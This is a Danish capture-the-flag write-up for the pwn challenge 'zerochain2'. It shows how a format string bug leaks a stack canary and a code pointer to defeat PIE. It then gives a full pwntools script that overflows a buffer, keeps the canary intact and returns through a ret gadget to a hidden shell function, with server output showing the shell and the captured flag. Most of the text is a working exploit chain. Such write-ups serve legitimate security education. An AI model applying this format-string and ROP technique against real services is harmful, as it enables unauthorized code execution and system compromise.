Løsning: I opgave beskrivelsen bliver det beskrevet at vi skal “defeat the defenses and bypass the stack canaries”. Ved at bruge checksec zerochain2 kan vi se at der er stack canaries, PIE og NX. Vi bruger https://dogbolt.org/ til at decompile binaryen og GDB til at debugge. For at leake stack canaryen kan vi bruge en format string vulnerability. Her kan vi bruge %23$p:

[ Zerochain ]
1. Add Note
2. Delete Note
3. View Note
4. Vulnerable Log
5. Exit
Your choice: 4
Enter log message: %23$p
0xa4cc00aaa8810f00

Den sidste byte (00) bekræfter, at det er en stack canary.

Da PIE er aktiveret, skal vi leake en kodeadresse for at beregne adressen. Vi bruger %31$p til at leake en pointer til main(), da position 31 i format stringen indeholder en pointer til main+0:

Your choice: 4  
Enter log message: %31$p  
0x59b5b2a7d6f3  

Vi ved fra reverse engineering, at main er ved offset 0x6f3, forskellen mellem main og hidden_shell er 0x3d bytes (main - hidden_shell), så vi beregner adressen:

hidden_shell_addr = 0x59b5b2a7d6f3 - 0x3d

Fordi vi springer direkte til hidden_shell, kan stack alignment være forkert. I x64 kræver system() 16-byte stack-alignment, så hvis vi returnerer direkte til hidden_shell, kan stacken blive forkert alignet, men en ret før hoppet til hidden_shell løser dette, og vi kan bruge ret ved offset +60 i hidden_shell.

ret_gadget = hidden_shell_addr + 60

Fra den dekompilerede kode ved vi, at bufferen er 136 bytes, efterfulgt af en 8-byte canary, 8-byte gemt RBP og 8-byte returadresse.

Nu mangler vi kun at lave en ROP chain til at hoppe til hidden_shell:

from pwn import *
#p = process('./zerochain2') # Local testing
p = remote('uwu-wifu.hkn', 6969)

# Leak canary
p.sendlineafter(b"Your choice: ", b"4")
p.sendlineafter(b"Enter log message: ", b"%23$p")
canary = int(p.recvline().strip(), 16)

# Leak code for PIE (Position Independent Executable) bypass
p.sendlineafter(b"Your choice: ", b"4")
p.sendlineafter(b"Enter log message: ", b"%31$p")
code_addr = int(p.recvline().strip(), 16)

# Calculate hidden_shell address
hidden_shell_addr = code_addr - 0x3d

# Find Ret gadget for stack alignment
ret_gadget = hidden_shell_addr + 60

# Create buffer overflow payload & ROP chain with proper stack alignment
payload = b'A' * 136
payload += p64(canary)
payload += p64(0)
payload += p64(ret_gadget)
payload += p64(hidden_shell_addr)

# Send the payloaD
p.sendlineafter(b"Your choice: ", b"4")
p.sendafter(b"Enter log message: ", payload)

# Give time to execute ROP chain
sleep(0.5)

# SHell
p.interactive()

Svar fra serveren:

[+] Opening connection to uwu-wifu.hkn on port 6969: Done
[*] Switching to interactive mode
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$                                                              l                                                                                                   ls                                                                                                  ls
challenge
flag
$ cat flag
DDC{Pwn_1s_L0v3_W41fu_1s_L1f3}$  

Flag: DDC{Pwn_1s_L0v3_W41fu_1s_L1f3}